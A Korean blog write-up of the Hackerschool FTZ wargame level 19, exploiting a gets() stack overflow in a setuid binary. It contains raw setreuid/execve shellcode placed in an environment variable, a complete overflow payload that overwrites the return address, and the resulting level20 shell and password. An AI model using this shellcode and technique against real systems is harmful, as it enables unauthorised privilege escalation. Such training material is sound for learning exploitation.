[FTZ] level 19 → level 20 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 19 → level 20 문제풀이

disso1p1 2020. 3. 13. 19:23

 

 

 

level19 - id : level19 , pw : swimming in pink

 

 

[level19@ftz level19]$ ls
attackme  hint	public_html  tmp
[level19@ftz level19]$ cat hint


main()
{ char buf[20];
  gets(buf);
  printf("%s\n",buf);
}  

[level19@ftz level19]$ 


이전 문제들보다 매우 간단해보인다.

 

gets 함수의 취약점에 의해 BOF 취약점을 사용할 수 있는 점은 같지만,

setreuid 함수를 이용하여 level20 의 권한을 얻는 부분이 없다.

 

파일 자체에 setuid 가 level20 으로 설정되어있으므로 setuid 가 있는 쉘 코드를 사용하면 된다.

처음에는 내가 애초에 setuid 가 있는 쉘 코드를 사용해서 그 사실을 몰랐다. ㅎㅎ

 

 

attackme 파일을 tmp 디렉토리에 복사해서 gdb 로 분석해보자.

 

[level19@ftz level19]$ ls  
attackme  hint	public_html  tmp
[level19@ftz level19]$ cp attackme tmp
[level19@ftz level19]$ cd tmp
[level19@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>:	push   ebp
0x08048441 <main+1>:	mov    ebp,esp
0x08048443 <main+3>:	sub    esp,0x28
0x08048446 <main+6>:	sub    esp,0xc
0x08048449 <main+9>:	lea    eax,[ebp-40]
0x0804844c <main+12>:	push   eax
0x0804844d <main+13>:	call   0x80482f4 <gets>
0x08048452 <main+18>:	add    esp,0x10
0x08048455 <main+21>:	sub    esp,0x8
0x08048458 <main+24>:	lea    eax,[ebp-40]
0x0804845b <main+27>:	push   eax
0x0804845c <main+28>:	push   0x80484d8
0x08048461 <main+33>:	call   0x8048324 <printf>
0x08048466 <main+38>:	add    esp,0x10
0x08048469 <main+41>:	leave  
0x0804846a <main+42>:	ret    
0x0804846b <main+43>:	nop    
0x0804846c <main+44>:	nop    
0x0804846d <main+45>:	nop    
0x0804846e <main+46>:	nop    
0x0804846f <main+47>:	nop    
End of assembler dump.
(gdb) 

 

0x08048449 <main+9> 부분을 보면 gets 함수에 ebp-40 을 인자값으로 주므로

ebp-40 이 변수 buf 의 시작주소임을 알 수 있다.

 

buf 가 20 byte 이므로 dummy 가 20 byte 이다.

 

이제 쉘을 실행시키는 환경변수를 만들어보자.

 

쉘코드는

 

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

 

이것을 사용했다. (setreuid() 포함)

 

[level19@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"')
[level19@ftz tmp]$ env
HOSTNAME=ftz.hackerschool.org
TERM=xterm-256color
SHELL=1육1�€‰�‰�1육F�€1�Ph//shh/bin‰�PS‰�‰째
                                                        �€1육�€
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 63342 22
OLDPWD=/home/level19
SSH_TTY=/dev/pts/0
USER=level19
LS_COLORS=
MAIL=/var/spool/mail/level19
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level19/bin
INPUTRC=/etc/inputrc
PWD=/home/level19/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$ 
SHLVL=1
HOME=/home/level19
BASH_ENV=/home/level19/.bashrc
LOGNAME=level19
SSH_CONNECTION=172.16.21.1 63342 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level19@ftz tmp]$ 

 

이제 이 SHELL 환경변수의 주소를 구해보자.

 

[level19@ftz tmp]$ vi sh.c

#include<stdio.h>

int main()
{
        printf("%p\n", getenv("SHELL"));
  
        return 0;
}       
~
~
~
~
~
~
~
~
~
~
[level19@ftz tmp]$ gcc -o sh sh.c
[level19@ftz tmp]$ ./sh
0xbffffd7e
[level19@ftz tmp]$ 

 

주소는 0xbffffd7e 이다.

 

 

 

buf(20) + dummy(20) + sfp(4) + ret(4)

 

 

A A ... A \x7e \xfd \xff \xbf

↑                                                                                                                

ebp-40 ( buf 시작주소 )                                                                        return address

 

 

구조는 이렇다.

 

sfp 까지( 44 byte )  'A' 로 덮고, ret( 4 byte ) 을 '0xbffffd7e' 로 덮으면 되겠다.

 

 

이제 attackme 파일을 공격해보자.

 

[level19@ftz tmp]$ cd .. 
[level19@ftz level19]$ (python -c 'print "A"*44 + "\x7e\xfd\xff\xbf"';cat) | ./attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~���
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
my-pass
TERM environment variable not set.

Level20 Password is "we are just regular guys".


 

level20 의 권한으로 쉘이 따졌다.

 

 

 

 

 

Level20 Password is "we are just regular guys".

 

 

 

 

감사합니다

Comments